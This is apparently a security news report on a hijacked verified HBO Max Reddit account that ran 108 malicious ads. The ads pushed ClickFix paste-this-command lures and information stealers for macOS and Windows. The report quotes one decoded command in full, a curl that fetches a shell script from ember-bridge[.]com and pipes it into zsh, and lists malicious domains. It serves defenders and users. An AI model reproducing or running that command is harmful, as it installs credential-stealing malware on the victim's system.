108 — that is the number of malicious advertisements researchers say were run from the verified u/hbomax Reddit account over roughly 48 hours in a coordinated push that delivered ClickFix social‑engineering instructions and multiple families of information‑stealing malware.
The hijacked u/hbomax Reddit account and the ad campaign
Security researchers at Hudson Rock and ADAMnetworks analyzed a campaign in which the verified u/hbomax Reddit account was hijacked and used to publish 108 malicious advertisements across about two days. A Reddit user first flagged an ad that claimed to offer a native macOS HBO Max application; the user reported that clicking the ad led to a download flow that instead presented a paste‑this‑command trap.
The researchers say the advertisements did not all impersonate HBO Max: the campaign included ads promoting fake AI tools, developer software, and macOS utilities to broaden the audience beyond HBO Max users. After the malicious ads were reported, a Reddit admin paused them and notified Reddit's Security and Safety teams. BleepingComputer contacted HBO and Warner Bros. Discovery for comment but did not receive a response.
PasteSwitch and the ClickFix social engineering technique
Hudson Rock and ADAMnetworks linked the activity to a larger operation they call PasteSwitch. The researchers say PasteSwitch describes an approach in which attackers deliver commands for victims to paste into their own systems; the attackers' backend then “switches between campaigns, platforms, payloads, and crypto theft methods depending on the visitor.”
Central to PasteSwitch is a social engineering method researchers describe as ClickFix: web pages and ads prompt victims to copy and paste commands into Windows Run, PowerShell, or macOS Terminal while the page claims to fix an error, verify a CAPTCHA, or install legitimate software. Because victims execute the commands themselves using built‑in operating system tools, these flows can sometimes bypass browser protections and security software that look for direct downloads.
Audit-ready is a season. It shouldn't be.
Evidence in spreadsheets, controls drifting between audits, frameworks multiplying on flat headcount. Nubivance runs continuous compliance on Rapid7 Cyber GRC - SOC 2, HIPAA, ISO 27001, PCI, CMMC.
End the scrambleMac and Windows attack chains observed
On macOS, the campaign used convincing fake HBO Max pages such as hbomaxx[.]us that instructed visitors to open Terminal and paste installer commands. BleepingComputer captured one macOS command that used Base64 to obscure its payload; after decoding it contained the exact line:
- export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh
Hudson Rock noted ember-bridge[.]com as infrastructure used in September for malware delivery by PasteSwitch. Malware families seen in macOS chains included MacSync — reported to steal browser credentials, Firefox profiles, Telegram data, Apple Notes, and macOS passwords — and an “AMOS helper” that establishes persistence using a directory named .com.apple.accountsd and can enroll infected systems with attacker‑controlled servers.
PasteSwitch also distributed fake Ledger, Trezor Suite, and Exodus cryptocurrency wallet applications designed to steal recovery phrases.
On Windows, researchers observed instructions that cause victims to execute commands using mshta and PowerShell. One Windows chain used an MP3/HTA polyglot to create a scheduled task, launch 32‑bit PowerShell, disable Microsoft's Antimalware Scan Interface (AMSI), and build victim‑specific infrastructure based on computer name and username. Later stages employed obfuscated PowerShell and shellcode to load the Amatera Stealer directly into memory without first writing the final payload to disk. Clipboard‑hijacking malware families such as AnimateClipper and ZigClipper were also observed.
Infrastructure, ad counts, and targeted audiences
Hudson Rock and ADAMnetworks found the HBO Max account's ads pointing to multiple domains. The researchers counted 40 ads leading to hbomaxx[.]app, 36 promoting codex-craft[.]com (a fake AI/developer site), 15 directing to apple.clean-disk-guide[.]com, 11 to code-desktop[.]com, and six to hbomax-macos[.]com. One of the fake HBO Max landing sites singled out in the reporting was hbomaxx[.]us.
The variety of destinations indicates the attackers sought a wider reach than only streaming‑service customers, targeting people searching for AI tools, developer software, and system utilities as well as HBO Max users.
What developers, end users, and platform operators will watch
- Developers and security teams: researchers linked PasteSwitch to domains such as ember-bridge[.]com and identified payloads like MacSync, AMOS helper, and Amatera Stealer; teams will likely monitor for those domains, indicators of scheduled tasks created by MP3/HTA polyglots, and attempts to disable AMSI or load payloads directly into memory.
- End users: the campaign relied on ClickFix social engineering that instructs users to paste commands into Terminal or PowerShell; users encountering unexpected prompts to paste commands to “fix” or “install” should treat those flows as high risk given the observed distribution of information stealers and fake cryptocurrency wallets.
- Platform operators (Reddit): a Reddit admin paused the ads and escalated to Security and Safety. Platform operators will watch for compromised verified accounts used to amplify malicious advertising across diverse audiences.
Researchers left at least two concrete uncertainties in the public record: it remains unclear how attackers accessed the HBO Max Reddit account, and whether any other HBO or Warner Bros. Discovery accounts or systems were affected. The PasteSwitch campaign — combining ad placements, convincing fake landing pages, and paste‑this‑command flows — demonstrates how attackers are leveraging platform reach to move victims from an ad click to running attacker commands on macOS and Windows systems.
